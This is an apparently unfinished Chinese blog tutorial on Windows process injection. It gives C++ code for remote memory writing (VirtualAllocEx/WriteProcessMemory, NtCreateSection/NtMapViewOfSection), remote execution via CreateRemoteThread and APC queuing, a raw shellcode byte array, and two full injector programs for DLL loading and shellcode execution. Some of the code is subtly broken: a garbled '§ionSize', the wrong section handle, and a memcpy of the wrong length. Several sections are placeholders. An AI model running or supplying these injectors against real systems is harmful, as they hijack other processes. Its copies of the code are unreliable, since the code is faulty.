Loading... 进程注入,指的是一种将指定的代码通过某种手段“注入”到目标进程内部并执行的方法,常见的一些相关的称呼还有 DLL 注入、代码注入等,实际上都是一类东西,手段虽然不同,但目的都是一致的。 ![图片.png](http://47.117.131.13/usr/uploads/2022/11/2071495104.png) 在 Windows 平台上,进程注入是一种被普遍使用的编程手段。实现进程注入的方法有很多种。 ![文件](http://47.117.131.13/usr/uploads/2022/11/3057289170.png) # 1、常规套路 最常规的进程注入的方法可以形成一个套路,分为打开目标进程+远程内存写入+远程执行+执行方式共四个阶段,各个阶段之间的实现方法可任意搭配: ![图片.png](http://47.117.131.13/usr/uploads/2022/11/1086520437.png) ## 1.1、阶段一、打开目标进程 > MSDN:[OpenProcess](https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocess) ```C++ HANDLE OpenProcess( [in] DWORD dwDesiredAccess, [in] BOOL bInheritHandle, [in] DWORD dwProcessId ); ``` OpenProcess 用户打开 pid 指定的进程并获取句柄,其中最重要的参数是 dwDesiredAccess,它指定了我们需要从目标进程获取的操作权限。一般我们都需要获取如下权限,或者在权限足够时可以直接获取 `PROCESS_ALL_ACCESS`: ```C++ PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_CREATE_THREAD ``` ## 1.2、阶段二、远程内存写入数据 ### 1.2.1、VirtualAllocEx+WriteProcessMemory 系列内存操作 API > MSDN:[VirtualAllocEx](https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualallocex)、[WriteProcessMemory](https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-writeprocessmemory) VirtualAllocEx 可在远程进程内部申请一片新的内存空间且可以指明可执行属性,WriteProcessMemory 可在远程进程内部指定地址处写入数据。 ![图片.png](http://47.117.131.13/usr/uploads/2022/11/1262175635.png) 该系列相关可用于进程注入的函数还有 NtAllocateVirtualMemory。 ```C++ PVOID VirtualAllocEx_WriteProcessMemory(HANDLE hProc, LPVOID data, ULONG size) { LPVOID lpAddr = (PSTR)VirtualAllocEx(hProc, NULL, size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); if (lpAddr == NULL) { return NULL; } if (WriteProcessMemory(hProc, (PVOID)lpAddr, (PVOID)data, size, NULL) == FALSE) { return NULL; } return lpAddr; } ``` ### 1.2.2、NtCreateSection+NtMapViewOfSection 系列共享内存 API NtCreateSection+NtMapViewOfSection 是用于实现共享内存的相关 API。因为共享内存的机制,多个进程可以在各自进程空间的不同虚拟地址中,映射到同一片物理地址。单个进程对共享内存的读写操作都会在其它进程中同时体现。所以基于共享内存也可以实现远程进程数据写入的目的。 ![图片.png](http://47.117.131.13/usr/uploads/2022/11/1011969030.png) 该系列相关可用于进程注入的函数还有 CreateFileMapping、MapViewOfFile 等。 *注意:NtCreateSection 及 NtMapViewOfSection 都不是导出函数,需要从 ntdll.dll 主动获取。* ```C++ LPVOID NtCreateSection_NtMapViewOfSection(HANDLE hProc, LPVOID data, ULONG size) { HANDLE hSection; LARGE_INTEGER sectionSize = { size }; HANDLE sectionHandle = NULL; PVOID localSectionAddress = NULL, remoteSectionAddress = NULL; NtCreateSection myNtCreateSection = (NtCreateSection)(GetProcAddress(GetModuleHandleA("ntdll"), "NtCreateSection")); NtMapViewOfSection myNtMapViewOfSection = (NtMapViewOfSection)(GetProcAddress(GetModuleHandleA("ntdll"), "NtMapViewOfSection")); myNtCreateSection(&hSection, SECTION_MAP_READ | SECTION_MAP_WRITE | SECTION_MAP_EXECUTE, NULL, (PLARGE_INTEGER)§ionSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL); myNtMapViewOfSection(hSection, GetCurrentProcess(), &localSectionAddress, NULL, NULL, NULL, (PSIZE_T)&size, 2, NULL, PAGE_READWRITE); myNtMapViewOfSection(sectionHandle, hProc, &remoteSectionAddress, NULL, NULL, NULL, (PSIZE_T)&size, 2, NULL, PAGE_EXECUTE_READ); memcpy(localSectionAddress, data, sizeof(size)); return remoteSectionAddress; } ``` ## 1.2、远程执行 ### 1.2.1、CreateRemoteThread 系列创建远程线程 API > MSDN:[CreateRemoteThread](https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createremotethread) CreateRemoteThread 可以在远程进程内部新创建一个线程,并指定新线程的起始地址以及 1 个参数。这里面最关键的点是,新线程执行的起始地址以及参数(如果是指针)都必须位于远程进程空间内,这其实就是我们在阶段一完成的工作。 ![图片.png](http://47.117.131.13/usr/uploads/2022/11/1649845017.png) 该系列相关可用于进程注入的函数还有 RtlCreateUserThread 等。 ```C++ CreateRemoteThread(hProcess, NULL, 0, lpStartAddress, lpParameter, 0, NULL); ``` ### 1.2.2、APC 执行 待补充 ```C++ // 获取进程任一线程句柄 HANDLE GetProcessThread(DWORD dwPID) { HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0x0); if (hSnapshot == INVALID_HANDLE_VALUE) { return nullptr; } THREADENTRY32 te; te.dwSize = sizeof(THREADENTRY32); if (!Thread32First(hSnapshot, &te)) { CloseHandle(hSnapshot); return nullptr; } HANDLE hThread = NULL; do { if (te.th32OwnerProcessID == dwPID) { hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, te.th32ThreadID); if (hThread != NULL) { return hThread; } } } while (Thread32Next(hSnapshot, &te)); return hThread; } void QueueUserAPC_(DWORD dwPID, PAPCFUNC pfnAPC, ULONG_PTR dwData) { HANDLE hThread = GetProcessThread(dwPID); QueueUserAPC(pfnAPC, hThread, dwData); } ``` ## 1.3、执行方式 ### 1.3.1、LoadLibrary 方式 待补充 ```C++ PVOID GetLoadLibrary() { return GetProcAddress(GetModuleHandleA("kernel32"), "LoadLibrary"); } ``` ### 1.3.2、shellcode 方式 待补充 ```C++ // 弹计算器 unsigned char shellcode[] = "\x55\x8B\xEC\x83\xEC\x20\x64\xA1\x30\x00\x00\x00\x8B\x40" "\x0C\x8B\x40\x1C\x8B\x00\x8B\x00\x8B\x40\x08\xC7\x45\xFC" "\x00\x00\x00\x00\xC7\x45\xF8\x00\x00\x00\x00\xC7\x45\xF4" "\x00\x00\x00\x00\x8B\x58\x3C\x8D\x1C\x18\x8B\x5B\x78\x8D" "\x14\x18\x8B\x5A\x1C\x8D\x1C\x18\x89\x5D\xFC\x8B\x5A\x20" "\x8D\x1C\x18\x89\x5D\xF8\x8B\x5A\x24\x8D\x1C\x18\x89\x5D" "\xF4\x8B\x7A\x18\x33\xC9\x8B\x75\xF8\x8B\x1C\x8E\x8D\x1C" "\x18\x8B\x1B\x81\xFB\x57\x69\x6E\x45\x74\x03\x41\xEB\xED" "\x8B\x5D\xF4\x33\xD2\x66\x8B\x14\x4B\x8B\x5D\xFC\x8B\x1C" "\x93\x8D\x04\x18\xEB\x09\x63\x61\x6C\x63\x2E\x65\x78\x65" "\x00\xE8\x00\x00\x00\x00\x5B\x83\xEB\x0E\x6A\x05\x53\xFF" "\xD0\x8B\xE5\x5D\xC3"; ``` ## 1.5、小结 示例一: ## 1.6、示例 示例一: - 远程内存写入:VirtualAllocEx+WriteProcessMemory 写入 dllPath - 远程执行:CreateRemoteThread 创建远程线程 - 执行方式:LoadLibrary 加载 dll,在 DllMain 中完成目标操作 ```C++ int main(void) { GetPidAndDllPath(); HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, g_TargetPid); SIZE_T size = strlen(g_DllPath) + 1; LPVOID lpAddr = VirtualAllocEx(hProc, NULL, size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); WriteProcessMemory(hProc, lpAddr, g_DllPath, size + 1, NULL); LPVOID pfnLoadLibrary = GetProcAddress(GetModuleHandleA("kernel32"), "LoadLibrary"); CreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE)pfnLoadLibrary, lpAddr, 0, NULL); return 0; } ``` 示例二: - 远程内存写入:NtCreateSection+NtMapViewOfSection 创建共享内存段 - 远程执行:QueueUserApc 插入用户态 apc - 执行方式:执行 shellcode ```C++ int main(void) { GetPid(); unsigned char shellcode[] = "\x55\x8B\xEC\x83\xEC\x20\x64\xA1\x30\x00\x00\x00\x8B\x40" "\x0C\x8B\x40\x1C\x8B\x00\x8B\x00\x8B\x40\x08\xC7\x45\xFC" "\x00\x00\x00\x00\xC7\x45\xF8\x00\x00\x00\x00\xC7\x45\xF4" "\x00\x00\x00\x00\x8B\x58\x3C\x8D\x1C\x18\x8B\x5B\x78\x8D" "\x14\x18\x8B\x5A\x1C\x8D\x1C\x18\x89\x5D\xFC\x8B\x5A\x20" "\x8D\x1C\x18\x89\x5D\xF8\x8B\x5A\x24\x8D\x1C\x18\x89\x5D" "\xF4\x8B\x7A\x18\x33\xC9\x8B\x75\xF8\x8B\x1C\x8E\x8D\x1C" "\x18\x8B\x1B\x81\xFB\x57\x69\x6E\x45\x74\x03\x41\xEB\xED" "\x8B\x5D\xF4\x33\xD2\x66\x8B\x14\x4B\x8B\x5D\xFC\x8B\x1C" "\x93\x8D\x04\x18\xEB\x09\x63\x61\x6C\x63\x2E\x65\x78\x65" "\x00\xE8\x00\x00\x00\x00\x5B\x83\xEB\x0E\x6A\x05\x53\xFF" "\xD0\x8B\xE5\x5D\xC3"; ULONG shellcodeSize = sizeof(shellcode); HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, g_TargetPid); NtCreateSection myNtCreateSection = (NtCreateSection)(GetProcAddress(GetModuleHandleA("ntdll"), "NtCreateSection")); NtMapViewOfSection myNtMapViewOfSection = (NtMapViewOfSection)(GetProcAddress(GetModuleHandleA("ntdll"), "NtMapViewOfSection")); myNtCreateSection(&hSection, SECTION_MAP_READ | SECTION_MAP_WRITE | SECTION_MAP_EXECUTE, NULL, (PLARGE_INTEGER)§ionSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL); myNtMapViewOfSection(hSection, GetCurrentProcess(), &localSectionAddress, NULL, NULL, NULL, (PSIZE_T)&shellcodeSize, 2, NULL, PAGE_READWRITE); myNtMapViewOfSection(sectionHandle, hProc, &remoteSectionAddress, NULL, NULL, NULL, (PSIZE_T)&shellcodeSize, 2, NULL, PAGE_EXECUTE_READ); memcpy(localSectionAddress, shellcode, shellcodeSize); HANDLE hThread = GetProcessThread(g_TargetPid); QueueUserAPC(remoteSectionAddress, hThread, NULL); return 0; } ``` ### 1.7、适用场景 待补充,主要是权限相关 # 4、进程掏空 # 5、Dll 劫持 待补充 # 6、使用 Windows 消息钩子注入 DLL 待补充 # 7、使用注册表注入 DLL 待补充 最后修改:2022 年 11 月 07 日 03 : 23 AM © 允许规范转载